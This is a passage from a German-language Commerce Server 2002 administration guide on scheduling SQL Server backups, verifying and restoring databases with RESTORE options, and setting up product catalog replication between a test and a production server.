  6. Wählen Sie im Dialogfeld Sicherungsziel auswählen den Eintrag Sicherungsmedium, und wählen Sie anschließend in der Dropdownliste Sicherungsmedium den Eintrag <Neues Sicherungsmedium> aus.
  7. Geben Sie im Dialogfeld Eigenschaften von Sicherungsmedium – Neues Medium im Feld Name die Zeichenfolge CSLog ein, und klicken Sie anschließend auf OK.
  8. Klicken Sie im Feld Sicherungsziel auswählen auf OK, um zum Dialogfeld SQL Server-Sicherung zurückzukehren.
  9. Wählen Sie im Dialogfeld SQL Server-Sicherung den Eintrag Vorhandene Medien überschreiben aus, klicken Sie auf Zeitplan und anschließend auf Auslassungszeichen.
  10. Nehmen Sie im Dialogfeld Zeitplan bearbeiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Name | Geben Sie CSTransProtZeitpl ein.
    Zeitplantyp | Wählen Sie Wiederholt, und klicken Sie anschließend auf Ändern.
  11. Nehmen Sie im Dialogfeld Zeitplan für wiederkehrende Aufträge bearbeiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Häufigkeit | Wählen Sie Täglich.
    Häufigkeit pro Tag Wählen Sie Jede, und wählen Sie anschließend aus den Dropdownlisten den Wert 30 Minuten aus.

    Hinweis

    • Sie müssen die Einheit (Minuten) vor der Menge (30) festlegen, da es sich bei der Standardeinheit um Stunden handelt, für die ein Maximalwert von 24 gilt.
  12. Klicken Sie dreimal auf OK, um alle Dialogfelder zu schließen.


Schritt 4: Planen von täglichen differenziellen Sicherungen zu Mittag und um Mitternacht

So erstellen Sie eine vollständige Sicherungskopie der Commerce Server-Datenbank Sitename_commerce

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die zu sichernde Datenbank, zeigen Sie auf Alle Aufgaben und klicken Sie anschließend auf Datenbank sichern.
  3. Führen Sie im Dialogfeld SQL Server-Sicherung folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Differenziellaktuelles Datum: mmttjj als Sicherungssatznamen ein.
    Beschreibung | Geben Sie als Beschreibung für den Sicherungssatz den Text Vollständige Sicherung der Commerce-Datenbank ein.
    Sicherung | Wählen Sie Datenbank- differenziell.
  4. Klicken Sie im Bereich Ziel auf Hinzufügen, um ein existierendes Sicherungsmedium hinzuzufügen bzw. ein neues Sicherungsmedium zu erstellen.
  5. Führen Sie im Dialogfeld SQL Server-Sicherung im Bereich Überschreiben folgende Schritte aus:
    Funktion | Aktion
    An Medien anfügen | Anfügen der Sicherung an jede existierende Sicherungskopie auf dem Sicherungsmedium.
    Vorhandene Medien überschreiben | Überschreiben aller vorhandenen Sicherungskopien auf dem Sicherungsmedium.
  6. Wählen Sie im Bereich Zeitplan die Option Zeitplan, und klicken Sie auf das Auslassungszeichen.
  7. Nehmen Sie im Dialogfeld Zeitplan bearbeiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Name | Geben Sie CSVollZeitpl ein.
    Zeitplantyp | Wählen Sie Wiederholt, und klicken Sie anschließend auf Ändern.
  8. Nehmen Sie im Dialogfeld Zeitplan für wiederkehrende Aufträge bearbeiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Häufigkeit | Wählen Sie Täglich.
    Häufigkeit pro Tag | Wählen Sie Jede, und geben Sie anschließend 12 Stunden ein.
  9. Klicken Sie dreimal auf OK, um alle Dialogfelder zu schließen.


Überprüfen von Sicherungen

Vor der Wiederherstellung von Sicherungsdateien müssen Sie sicherstellen, dass es sich dabei um eine gültige Datei handelt und die benötigten Sicherungen darin enthalten sind. Mit SQL Server Enterprise Manager können Sie die Eigenschaftenblätter der einzelnen Sicherungsmedien aufrufen. Detaillierte Informationen zu Sicherungen können Sie aufrufen, indem Sie die folgenden Transact-SQL-Anweisungen ausführen:

  • RESTORE HEADERONLY. Mit dieser Anweisung können Sie Kopfzeilendaten von bestimmten Sicherungsdateien oder Sicherungssätzen abrufen. Wenn sich in einer einzelnen Sicherungsdatei mehrere Sicherungssätze befinden, gibt SQL Server die Kopfzeilendaten aller in der Datei enthaltenen Sicherungen zurück.
Wenn Sie die Anweisung RESTORE HEADERONLY ausführen, erhalten Sie folgende Informationen:
  • Den Namen der Sicherungsdatei bzw. des Sicherungssatzes und eine entsprechende Beschreibung
  • Den Typ des verwendeten Sicherungsmediums
  • Das Sicherungsverfahren, wie beispielsweise vollständige Datenbank-, differenzielle, Transaktionsprotokoll- oder Dateisicherung
  • Datum und Uhrzeit der Sicherung.
  • Umfang der Sicherung
  • Die Sequenznummer von bestimmten Sicherungen in einer Folge von Sicherungsdateien
  • RESTORE FILELISTONLY. Mit dieser Anweisung können Sie Daten zur Ursprungsdatenbank oder zu Transaktionsprotokolldateien abrufen, die sich in einer Sicherungsdatei befinden. Durch Ausführen dieser Anweisung können Sie vermeiden, falsche Sicherungsdateien wiederherzustellen.
Wenn Sie die Anweisung RESTORE FILELISTONLY ausführen, gibt SQL Server folgende Informationen zurück:
  • Die logischen Namen der Datenbank- und der Transaktionsprotokolldateien
  • Die physischen Namen der Datenbank- und der Transaktionsprotokolldateien
  • Den Typ der Datei, wie beispielsweise Datenbank- oder Transaktionsprotokolldateien
  • Ggf. die Zugehörigkeit zu Dateigruppen
  • Den Umfang des Sicherungssatzes in Megabyte (MB)
  • Den höchstzulässigen Dateiumfang in MB
  • RESTORE LABELONLY. Mit dieser Anweisung können Sie Daten zum Sicherungsmedium abrufen, in dem sich die Sicherungsdatei befindet.
  • RESTORE VERIFYONLY. Mit dieser Anweisung können Sie überprüfen, ob die einzelnen Dateien, aus denen der Sicherungssatz besteht, vollständig sind und alle Sicherungen gelesen werden können. Die Struktur der in der Sicherung enthaltenen Daten wird von SQL Server nicht überprüft.

Informationen zum Ausführen von Transact-SQL-Anweisungen finden Sie in der SQL Server-Onlinedokumentation.


Wiederherstellen von CommerceServer-Datenbanken

Feedback zu dieser Seite senden Commerce Server 2002

Wiederherstellen von Commerce Server-Datenbanken

Durch das Wiederherstellen einer Datenbanksicherung wird der Zustand einer Datenbank wiederhergestellt, der zum Zeitpunkt der Erstellung der Sicherung herrschte. Wenn Sie eine Datenbank wiederherstellen, stellt SQL Server die Datenbank und alle ihr zugeordneten Dateien wieder her. Folgende Schritte werden dabei automatisch durchgeführt:

  • Alle gesicherten Daten werden in die Datenbank kopiert; der Rest der Datenbank wird als leerer Speicherplatz erstellt.
  • Transaktionen, für die zum Zeitpunkt der Datenbanksicherung noch kein Commit erfolgt ist, werden rückgängig gemacht, damit die Datenbank konsistent bleibt.

Dadurch wird gewährleistet, dass der Zustand der Datenbank bei Abschluss des Sicherungsvorgangs wiederhergestellt wird. Die rückgängig gemachten Transaktionen (Transaktionen, für die zuvor kein Commit durchgeführt wurde) sind darin allerdings nicht enthalten. Das Rückgängigmachen ist notwendig, um die Vollständigkeit der Datenbank zu gewährleisten.

Außerdem kann während des Wiederherstellungsvorhangs eine automatische Sicherheitsüberprüfung durchgeführt werden, um ein unbeabsichtigtes Überschreiben der Datenbank zu verhindern. Unter folgenden Umständen schlägt der Wiederherstellungsvorgang fehl:

  • Die Datenbank, die im Wiederherstellungsvorgang genannt wird, existiert bereits auf dem Server, und der Datenbankname stimmt nicht mit dem Datenbanknamen überein, der im Sicherungssatz aufgezeichnet ist.
  • Die Datenbank, die im Wiederherstellungsvorgang genannt wird, existiert bereits auf dem Server, aber es handelt sich dabei nicht um die Datenbank, die in der Datenbanksicherung enthalten ist. Zum Beispiel sind die Datenbanknamen identisch, doch jede Datenbank wurde auf unterschiedliche Weise erstellt.
  • Eine oder mehrere Dateien müssen durch den Wiederherstellungsvorgang automatisch erstellt werden (unabhängig davon, ob die Datenbank bereits existiert), aber es existieren bereits Dateien mit Dateinamen, die mit denen identisch sind, die erstellt werden müssen.

Diese Sicherheitsüberprüfung kann deaktiviert werden, wenn ein Überschreiben einer anderen Datenbank beabsichtigt wird.

Die Wiederherstellungspläne für Ihr Unternehmen müssen sowohl Sicherungs- als auch Wiederherstellungsstrategien enthalten. Wenn ein Domänencontroller aufgrund von Fehlern in der Umgebung oder Fehlfunktionen von Systemkomponenten ausfällt, sollten Sie zuerst den Domänencontroller und erst anschließend die eigentlichen Daten wiederherstellen. Zwei Features des Verzeichnisdienstes Microsoft Active Directory ermöglichen die Wiederherstellung von verlorenen Daten: Die Datenbank verwendet zur Wiederherstellung der verlorenen Daten Protokolldateien, der Verzeichnisdienst repliziert die entsprechenden Daten von anderen Servern in der Domäne.

Zur Wiederherstellung von Active Directory stehen zwei Verfahren zur Auswahl:

  • Nicht-autorisierende Wiederherstellung (Standard). Verwenden Sie dieses Verfahren, wenn in der Domäne mindestens ein weiterer Domänencontroller aktiv ist. Nach nicht autorisierenden Wiederherstellungen beginnt das Replikationsfeature von Active Directory automatisch, die nach dem Zeitpunkt der Sicherung vorgenommenen Änderungen von anderen Domänencontrollern zu übertragen.
  • Autorisierende Wiederherstellung. Verwenden Sie dieses Verfahren nur, wenn Sie unabsichtlich wichtige Daten vom lokalen Domänencontroller gelöscht haben und die Löschanforderung an andere Domänencontroller weitergegeben wurde.
    Hinweis
    • Wenn in der Domäne kein weiterer aktiver Domänencontroller vorhanden ist, sollten keine autorisierenden Wiederherstellungen ausgeführt werden.

Zur Reparatur des Domänencontrollers sowie zur Wiederherstellung von Active Directory können Sie verschiedene Tools verwenden. Weitere Informationen zum Unternehmensschutz unter Windows 2000, einschließlich von Sicherungen, Wiederherstellungen und Reparaturen, finden Sie im Windows 2000 Server Operations Guide. Dieses Handbuch ist Bestandteil des Microsoft Windows 2000 Server Resource Kit ist, das Sie unter http://go.microsoft.com/fwlink/?LinkId=6684 herunterladen können. Weitere Informationen finden Sie in der Hilfe zu Windows 2000 Server.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden der Transaktionsprotokolldatei zur Wiederherstellung des Zustands von Commerce Server-Datenbanken zum Zeitpunkt des Ausfalls
  • Festlegen von Wiederherstellungsoptionen
  • Unterbrochene Sicherungs- und Wiederherstellungsvorgänge


Verwenden der Transaktionsprotokolldatei zur Wiederherstellung des Zustands von Commerce Server-Datenbanken zum Zeitpunkt des Ausfalls

Der Wiederherstellungsprozess von SQL Server verwendet die Transaktionsprotokolldatei, um die Konsistenz Ihrer Datenbank sicherzustellen. SQL Server untersucht die Transaktionsprotokolldatei vom letzten Prüfpunkt bis zu dem Punkt, an dem der Fehler in SQL Server aufgetreten ist oder das Programm beendet wurde. Prüfpunkte funktionieren wie Lesezeichen und markieren den Punkt, bis zu dem die Datenänderungen in die Datenbank geschrieben wurden. Wenn in der Transaktionsprotokolldatei Transaktionen enthalten sind, für die ein Commit erfolgt ist, die aber noch nicht in die Datenbank geschrieben wurden, wendet SQL Server die Änderungen auf die Datenbank an. Transaktionen ohne Commit werden von SQL Server rückgängig gemacht. Solche Transaktionen werden nicht in die Datenbank geschrieben.


Empfehlungen zur Wiederherstellung

Dieses Thema enthält eine Liste der empfohlenen Vorgehensweisen zur Wiederherstellung von Commerce Server.

  • Schränken Sie den Zugang zur Datenbank ein, bevor Sie die Sicherung wiederherstellen.

    Die Beschränkung des Zugriffs auf die Datenbank vor der Wiederherstellung ist erforderlich. Setzen Sie die Datenbankoption Mitglieder von db_owner, dbcreator oder sysadmin auf Wahr.

  • Sichern Sie die Transaktionsprotokolldatei, bevor Sie die Sicherung wiederherstellen.

    Sichern Sie die Transaktionsprotokolldatei, um die Konsistenz der Datenbank zu gewährleisten. Die Sicherung der Transaktionsprotokolldatei wird zur Wiederherstellung der Datenbank verwendet, die den letzten Schritt des Wiederherstellungsprozesses darstellt. Wenn Sie die Transaktionsprotokolldatei vor der Wiederherstellung nicht sichern, gehen alle Datenänderungen verloren, die zwischen der letzten Sicherung der Transaktionsprotokolldatei und dem Ausfall der Datenbank erfolgt sind.

  • Überprüfen Sie Ihre Sicherungsdateien.

    Arbeiten Sie mit den Transact-SQL-Anweisungen RESTORE HEADERONLY, RESTORE FILELISTONLY, RESTORE LABELONLY und RESTORE VERIFYONLY, um die Sicherungsdatei vor der Wiederherstellung zu überprüfen.

  • Stellen Sie die Sicherungen in der richtigen Reihenfolge wieder her.

    Wenn Sie unterschiedliche Typen von Sicherungen erstellt haben, müssen Sie sie in der richtigen Reihenfolge wiederherstellen, um Datenverlusten vorzubeugen. Stellen Sie die Sicherungen in folgender Reihenfolge wieder her:

    1. Letzte vollständige Datenbanksicherung
    2. Letzte differenzielle Sicherung
    3. Letzte Transaktionsprotokolldateisicherung
  • Legen Sie die Option RECOVERY oder NORECOVERY fest.

    Durch Angabe der Option RECOVERY bzw. NORECOVERY können Sie beim Wiederherstellungsprozess administrativen Fehlern vorbeugen und die Anweisung lesbarer gestalten. Bei der Option RECOVERY handelt es sich um den Standardwert in SQL Server.


Festlegen von Wiederherstellungsoptionen

Bei Wiederherstellungsprozessen können Sie in SQL Server folgende Optionen festlegen:

  • RECOVERY. Verwenden Sie diese Option für die letzte wiederherzustellende Transaktionsprotokolldatei oder bei vollständigen Datenbankwiederherstellungen, um die Datenbank wieder in einen konsistenten Zustand zu versetzen. SQL Server macht Transaktionen, für die kein Commit ausgeführt wurde, in der Transaktionsprotokolldatei rückgängig. Transaktionen, für die ein Commit ausgeführt wurde, werden in die Datenbank geschrieben. Nach Abschluss des Wiederherstellungsprozesses steht die Datenbank Benutzern wieder zur Verfügung.
  • NORECOVERY. Verwenden Sie diese Option, wenn Sie mehrere Sicherungen wiederherstellen möchten. Beachten Sie Folgendes, wenn Sie mit der Option NORECOVERY arbeiten:
    • Legen Sie die Option NORECOVERY für alle Sicherungen mit Ausnahme der letzten wiederherzustellenden Sicherung fest.
    • Transaktionen ohne Commit werden in diesem Fall in der Transaktionsprotokolldatei nicht rückgängig gemacht, und Transaktionen, für die ein Commit ausgeführt wurde, werden nicht in die Datenbank geschrieben.
    • Die Datenbank kann erst nach erfolgter Wiederherstellung wieder verwendet werden.

Wenn Sie mit der Anweisung RESTORE arbeiten, können Sie mit den folgenden Optionen festlegen, wie die Wiederherstellung erfolgen soll:

  • FILE. Mit dieser Option können Sie spezifische Sicherungen aus Dateien wählen, in denen mehrere Sicherungen enthalten sind. Sie müssen eine Dateinummer angeben, die der Position der Sicherung innerhalb der Sicherungsdatei entspricht.
  • RESTART. Mit dieser Option können Sie unterbrochene Wiederherstellungsvorgänge fortsetzen. Die Wiederherstellung wird an der Stelle fortgesetzt, an der sie zuvor abgebrochen wurde.
  • MOVE...TO. Wenn Sie die Sicherungsdateien an einem anderen als dem ursprünglichen Speicherort wiederherstellen, wie beispielsweise auf einem anderen Datenträger, Server oder Standby-SQL-Server, können Sie mit dieser Option den Zielspeicherort festlegen.

    Hinweis

    • Sie können auch die im System gespeicherten Prozeduren sp_attach_db oder sp_attach_single_file_db verwenden, um eine Datenbank von einem Server zu einem anderen zu verschieben. Kopieren Sie dazu die Datenbankdateien und fügen Sie sie an die Master-Datenbank an.
  • REPLACE. Verwenden Sie diese Option nur, wenn Sie eine vorhandene Datenbank durch Daten aus einer Sicherung oder einer anderen Datenbank ersetzen möchten.

    Vorsicht

    • Wenn Sie die Option REPLACE verwenden, führt SQL Server keine Sicherheitsüberprüfung durch.

Das folgende Codebeispiel erläutert die Verwendung von SQL Server-Wiederherstellungsoptionen:

RESTORE DATABASE {database_name|@database_name_var}
  [FROM <backup_device>[,...n]
  [WITH
    [ FILE=file_number]
    [[,] MOVE 'logical_file_name' TO 'operating_system_file_name']
    [[,] REPLACE]
    [[,] {NORECOVERY|RECOVERY|STANDBY = undo_file_name}]]
    [[.] RESTART
Where <backup_device> is
    {{backup_device_name|@backup_device_name_var}|
    {DISK|TAPE|PIPE} = 'temp_backup_device'|
@temp_backup_device_var}
  }

Dieser Abschnitt beinhaltet folgende Themen:

  • Wiederherstellen von beschädigten Benutzerdatenbanken
  • Wiederherstellen anhand von vollständigen Datenbanksicherungen
  • Wiederherstellen anhand von differenziellen Sicherungen
  • Wiederherstellen einer Transaktionsprotokolldateisicherung


Wiederherstellen von beschädigten Benutzerdatenbanken

Wenn es zu Beschädigungen einer Datenbank kommt, können Sie mit der Anweisung RESTORE oder dem SQL Server Enterprise Manager die Wiederherstellung über die vorhandene Datenbank vornehmen. Wenn Sie die Wiederherstellung über eine vorhandene Datenbank ausführen, müssen Sie die beschädigte Datenbank nicht löschen. SQL Server erstellt die Datenbankdateien und -objekte in diesem Fall neu.


Wiederherstellen anhand von vollständigen Datenbanksicherungen

Wenn Sie eine Datenbank anhand einer vollständigen Datenbanksicherung wiederherstellen, erstellt SQL Server die Datenbank einschließlich aller ihr zugeordneten Dateien neu und platziert sie an ihren ursprünglichen Speicherorten. Alle Datenbankobjekte werden automatisch neu erstellt. Sie müssen das Datenbankschema vor dem Wiederherstellen der Datenbank nicht neu erstellen.

Die Wiederherstellung über eine vollständige Datenbanksicherung erfolgt in der Regel, wenn folgende Voraussetzungen vorliegen:

  • Der physische Datenträger der Datenbank ist beschädigt.
  • Die gesamte Datenbank ist beschädigt oder wurde gelöscht.
  • Eine identische Kopie der Datenbank wird auf einem anderen SQL Server wiederhergestellt.

Zur Wiederherstellung einer Datenbank anhand einer vollständigen Datenbanksicherung verwenden Sie die nachstehende Prozedur.

So stellen Sie eine Datenbank anhand einer vollständigen Datenbanksicherung wieder her

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die wiederherzustellende Datenbank, zeigen Sie auf Alle Aufgaben, und klicken Sie anschließend auf Datenbank wiederherstellen.
  3. Führen Sie im Dialogfeld Datenbank wiederherstellen folgende Schritte aus:
    Funktion | Aktion
    Wiederherstellen als Datenbank | Wählen Sie in der Dropdownliste einen Datenbanknamen aus, oder geben Sie einen Namen für die wiederhergestellte Datenbank ein.
    Wiederherstellen | Wählen Sie Datenbank, um die Datenbank wiederherzustellen.
    Sicherungskopien der folgenden Datenbank anzeigen | Wählen Sie in der Dropdownliste eine Datenbank aus.
    Erste wiederherzustellende Sicherung | Wählen Sie in der Dropdownliste die zuletzt vorgenommene vollständige Datenbanksicherung für die Datenbank aus.
  4. Um den Wiederherstellungspfad zu ändern, klicken Sie auf Eigenschaften.
  5. Klicken Sie im Dialogfeld Sicherungssatzeigenschaften auf Ändern.
  6. Klicken Sie im Dialogfeld Wiederherstellungsmedien wählen auf den Namen des für die Wiederherstellung zu verwendenden Mediums, und klicken Sie anschließend auf OK.
  7. Klicken Sie auf OK, um das Dialogfeld Sicherungssatzeigenschaften zu schließen.
  8. Klicken Sie im Dialogfeld Datenbank wiederherstellen auf OK, um den Wiederherstellungsprozess zu starten.


Wiederherstellen anhand von differenziellen Sicherungen

Wenn Sie die Wiederherstellung anhand einer differenziellen Datenbanksicherung vornehmen, stellt SQL Server nur die Teile der Datenbank wieder her, die seit der letzten vollständigen Datenbankwiederherstellung geändert wurden. SQL Server setzt die Datenbank exakt auf den Zustand zum Zeitpunkt der Ausführung der differenziellen Sicherung zurück.

In der Regel sparen Sie durch die Wiederherstellung von differenziellen Sicherungen im Vergleich zur Anwendung von vielen Transaktionsprotokolldateien für dieselbe Datenbankaktivität viel Zeit.

Beachten Sie Folgendes, wenn Sie anhand einer differenziellen Sicherung wiederherstellen:

  • Stellen Sie vor dem Wiederherstellen von differenziellen Sicherungen die vollständige Datenbanksicherung wieder her.
  • Legen Sie die Option NORECOVERY fest, wenn auf Ihrem System wiederherzustellende Transaktionsprotokolldateien verbleiben; legen Sie andernfalls die Option RECOVERY fest.

Verwenden Sie das folgende Verfahren zum Wiederherstellen von Datenbanken anhand einer differenziellen Sicherung.

So stellen Sie eine Datenbank anhand einer differenziellen Sicherung wieder her

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die wiederherzustellende Datenbank, zeigen Sie auf Alle Aufgaben, und klicken Sie anschließend auf Datenbank wiederherstellen.
  3. Führen Sie im Dialogfeld Datenbank wiederherstellen folgende Schritte aus:
    Funktion | Aktion
    Wiederherstellen als Datenbank | Wählen Sie in der Dropdownliste einen Datenbanknamen aus, oder geben Sie einen Namen für die wiederhergestellte Datenbank ein.
    Wiederherstellen | Wählen Sie Datenbank, um die Datenbank wiederherzustellen.
    Sicherungskopien der folgenden Datenbank anzeigen | Wählen Sie in der Dropdownliste eine Datenbank aus.
    Erste wiederherzustellende Sicherung | Wählen Sie in der Dropdownliste die zuletzt vorgenommene differenzielle Datenbanksicherung für die Datenbank aus.
  4. Um den Wiederherstellungspfad zu ändern, klicken Sie auf Eigenschaften.
  5. Klicken Sie im Dialogfeld Sicherungssatzeigenschaften auf Ändern.
  6. Klicken Sie im Dialogfeld Wiederherstellungsmedien wählen auf den Namen des für die Wiederherstellung zu verwendenden Mediums, und klicken Sie anschließend auf OK.
  7. Klicken Sie auf OK, um das Dialogfeld Sicherungssatzeigenschaften zu schließen.
  8. Klicken Sie im Dialogfeld Datenbank wiederherstellen auf OK, um den Wiederherstellungsprozess zu starten.


Wiederherstellen einer Transaktionsprotokolldateisicherung

Wenn Sie über die Sicherung einer Transaktionsprotokolldatei wiederherstellen, stellt SQL Server die in der Transaktionsprotokolldatei erfassten Änderungen wieder her. In der Regel stellen Sie Transaktionsprotokolldateien wieder her, um die seit der letzten vollständigen bzw. differenziellen Datenbanksicherung an der Datenbank vorgenommenen Änderungen wirksam werden zu lassen. Sie können Transaktionsprotokolldateien wiederherstellen, um den Zustand der Datenbank zu einem bestimmten Zeitpunkt wiederherzustellen.

Vor dem Wiederherstellen von Transaktionsprotokolldateien müssen Sie eine vollständige Datenbanksicherung wiederherstellen. Verwenden Sie das folgende Verfahren zum Wiederherstellen von Datenbanken anhand einer Transaktionsprotokolldateisicherung.

So stellen Sie eine Transaktionsprotokolldateisicherung wieder her

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die wiederherzustellende Datenbank, zeigen Sie auf Alle Aufgaben, und klicken Sie anschließend auf Datenbank wiederherstellen.
  3. Führen Sie im Dialogfeld Datenbank wiederherstellen folgende Schritte aus:
    Funktion | Aktion
    Wiederherstellen als Datenbank | Wählen Sie in der Dropdownliste einen Datenbanknamen aus, oder geben Sie einen Namen für die wiederhergestellte Datenbank ein.
    Wiederherstellen | Wählen Sie Datenbank, um die Datenbank wiederherzustellen.
    Sicherungskopien der folgenden Datenbank anzeigen | Wählen Sie in der Dropdownliste eine Datenbank aus.
    Erste wiederherzustellende Sicherung | Wählen Sie in der Dropdownliste die letzte wiederherzustellende Transaktionsprotokolldatei aus.
  4. Klicken Sie auf Wiederherstellung bis zu einem bestimmten Zeitpunkt.
  5. Geben Sie im Dialogfeld Wiederherstellung bis zu einem bestimmten Zeitpunkt im Feld Datum das Datum für die Wiederherstellung ein. Geben Sie in das Feld Zeit den Zeitpunkt für die Wiederherstellung ein, und klicken Sie anschließend auf OK.
  6. Klicken Sie im Dialogfeld Datenbank wiederherstellen auf der Registerkarte Optionen auf den Eintrag Datenbank weiter ausführen. Es können keine weiteren Transaktionsprotokolldateien wiederhergestellt werden.
  7. Klicken Sie auf OK, um den Wiederherstellungsprozess zu starten.


Unterbrochene Sicherungs- und Wiederherstellungsvorgänge

Wenn ein Sicherungs- bzw. Wiederherstellungsvorgang unterbrochen wird (z. B. wegen Energieverlusts auf dem Server), ist es möglich, den Sicherungs- bzw. Wiederherstellungsvorgang an dem Punkt wieder zu starten, wo er unterbrochen wurde. Dies kann besonders beim automatischen Wiederherstellen großer Datenbanken auf anderen Servern von Vorteil sein. Wenn der automatische Prozess kurz vor Abschluss des Wiederherstellungsvorgangs fehlschlägt (z. B. bei einem Stromausfall), kann der Systemadministrator den Wiederherstellungsvorgang an der Abbruchstelle wieder aufnehmen, anstatt das Wiederherstellen der gesamten Datenbank von neuem zu beginnen.

Siehe auch

Minimieren der Sicherungs- und Wiederherstellungszeiten in unternehmenskritischen Umgebungen

Sicherung der Site


Replizieren des Kataloginhalts

In diesem Abschnitt wird erklärt, wie Commerce Server 2002-Produktkataloge von einer Testumgebung in eine Produktionsumgebung übertragen werden. Anhand eines Beispielszenarios wird schrittweise die Replikation des Kataloginhalts beschrieben. Dabei werden die folgenden Schritte erläutert:

  • Konfigurieren der Testumgebung für das Szenario
  • Implementieren von Konfigurationsänderungen zur Unterstützung der SQL Server 2000-Replikation
  • Lösen von Problemen, die nach der Bereitstellung der Daten auftreten

Die Schritte in diesem Abschnitt werden für eine Beispieltestumgebung erläutert, die aus einem einzelnen Testserver und einem Produktionsdatenbankserver besteht. Sie können dieses Modell jedoch beliebig anpassen und auf benutzerdefinierte Szenarien für kleine und große Installationen von Commerce Server 2002, einschließlich verteilter Installationsumgebungen und SQL Server-Clusterumgebungen, erweitern.

Dieser Abschnitt beinhaltet folgende Themen:

  • Beispieltopologie für die Replikation des Kataloginhalts. Beschreibt eine Beispieltopologie für die Replikation von Kataloginhalten und erläutert, wie Sie die Test- und Produktionsumgebungen für die Replikation konfigurieren.
  • Konfigurieren einer SQL-Publikation zum Replizieren eines Katalogs. Erläutert, wie Sie eine SQL-Publikation für die Unterstützung einer einseitigen Replikation eines Produktkataloges auf Basis eines Zeitplans konfigurieren.
  • Aufrufen der Katalogreplikation bei Bedarf. Erläutert, wie Sie eine SQL-Publikation für die Replikation eines Katalogs bei Bedarf aufrufen, anstatt den Abruf zu planen.
  • Physische Schemaänderungen an Testdatenbanken. Beschreibt die Änderungen am Katalogschema, die Sie manuell replizieren müssen.
  • Replizieren materialisierter virtueller Kataloge. Erläutert, wie virtuelle Kataloge repliziert werden.


Beispieltopologie für die Replikation des Kataloginhalts

Dieser Abschnitt beschreibt eine Beispieltopologie für die Replikation von Kataloginhalten und erläutert, wie Sie die Test- und Produktionsumgebungen für die Replikation konfigurieren. Die folgende Abbildung enthält eine Darstellung der Beispieltopologie.

Beispieltopologie für die Replikation des Kataloginhalts

Die Installationsprozeduren sind für Testserver und Produktionsserver identisch:

  1. Konfigurieren des Datenbankservers
  2. Installieren von SQL Server
  3. Entpacken der Lösungssite
  4. Auffüllen des Katalogs mit Daten

Schritt 1: Konfigurieren des Datenbankservers

Die beiden in diesem Szenario verwendeten Datenbankserver heißen wie folgt:

  • THORSTAGE. Dieser Server repräsentiert eine Testumgebung.
  • THORPROD1. Dieser Server repräsentiert den ersten Katalogdatenbankserver in der Produktionsumgebung. Darüber hinaus können auch weitere Katalogdatenbankserver vorhanden sein.

Der Produktionsserver befindet sich in einem vom Testserver separaten Teilnetz.

Beide Server sind mit folgender Software konfiguriert:

  • Microsoft Windows 2000 Advanced Server
  • Microsoft Windows 2000 Service Pack 2
  • Microsoft Commerce Server 2002
  • Microsoft SQL Server 2000 Enterprise Edition
  • Microsoft SQL Server 2000 Service Pack 1

Schritt 2: Installieren von SQL Server

Die Installation von SQL Server erfolgt in beiden Umgebungen auf die gleiche Weise: Installieren Sie SQL Server auf beiden Computern mit den standardmäßigen Konfigurationsoptionen.

Erstellen Sie nach der Installation von SQL Server auf beiden Servern die nachfolgend genannten Datenbanken, in denen die Daten für individuelle Datenbankkonfigurationen gespeichert werden. (Die Datenbanken werden später beim Entpacken der Lösungssites verwendet.)

  • retail_commerce_BDsec. Diese Datenbank wird für die Tabellen erstellt, die spezifisch für die Sicherheitsmodule von Business Desk sind. Dabei handelt es sich um ein neues Feature von Commerce Server 2002.
  • retail_commerce_campaigns. Die Kampagnendatenbank wird für die Tabellen erstellt, die die Anzeigenkampagnenfeatures von Commerce Server 2002 unterstützen.
  • retail_commerce_profiles. Die Profildatenbank unterstützt das Profilsystem.
  • retail_commerce_trans. Diese Datenbank wird zum Speichern der Transaktionstabellen erstellt.
  • retail_commerce_transcfg. Diese Datenbank enthält die Konfigurationstabellen für Transaktionen.
  • retail_commerce_catalog. Diese Datenbank enthält die spezifischen Tabellen für die Produktkataloge. Sie steht im Mittelpunkt dieses Szenarios.

Schritt 3: Entpacken der Lösungssite

Nachdem Sie die Datenbanktabellen erstellt haben, installieren Sie die Retail-Lösungssite auf beiden Servern. Wählen Sie in Commerce Server Site Packager die Option Benutzerdefiniert aus, um die Retail-Lösungssite zu entpacken.

Beim Entpacken der Retail-Lösungssite werden Sie aufgefordert, die Datenbank-Verbindungszeichenfolgen zu definieren (siehe folgende Beispielabbildung). Passen Sie in Ihrer Installation die Verbindungszeichenfolgen entsprechend der Beispielabbildung an.

Dieser Beispielbildschirm stammt vom Testserver THORSTAGE. Er zeigt die endgültige Konfiguration der mithilfe der benutzerdefinierten Datenbanken konfigurierten Datenbankzeichenfolgen.

Führen Sie die restlichen Konfigurationsschritte aus, um die Installation der Site abzuschließen. Die Retail-Lösungssite ist nun vollständig konfiguriert und auf allen Servern verfügbar.

Schritt 4: Auffüllen des Katalogs mit Daten

Mit diesem Schritt importieren Sie die Datei AdvWorksCatalog, die den Commerce Server-Katalog mit Daten füllt.

So füllen Sie einen Katalog auf dem Testserver (THORSTAGE) im Voraus auf

  1. Importieren Sie auf THORSTAGE mithilfe von Business Desk einen neuen XML-Katalog. Anleitungen dazu finden Sie unter Importieren einer XML-Katalogdatei.

    In diesem Szenario wird die Katalogdatei AdvWorksCatalog.xml (der Adventure Works-Katalog) verwendet. Dieser befindet sich in folgendem Verzeichnis:

    \Programme\Microsoft Commerce Server 2002\SDK\Samples\Sitelets\Catalog.

    Diese XML-Datei wird auch im Business-to-Consumer-Lernprogramm von Business Desk verwendet.

  2. Veröffentlichen Sie den importierten Adventure Works-Katalog auf THORSTAGE. Anweisungen zum Veröffentlichen eines Katalogs finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.

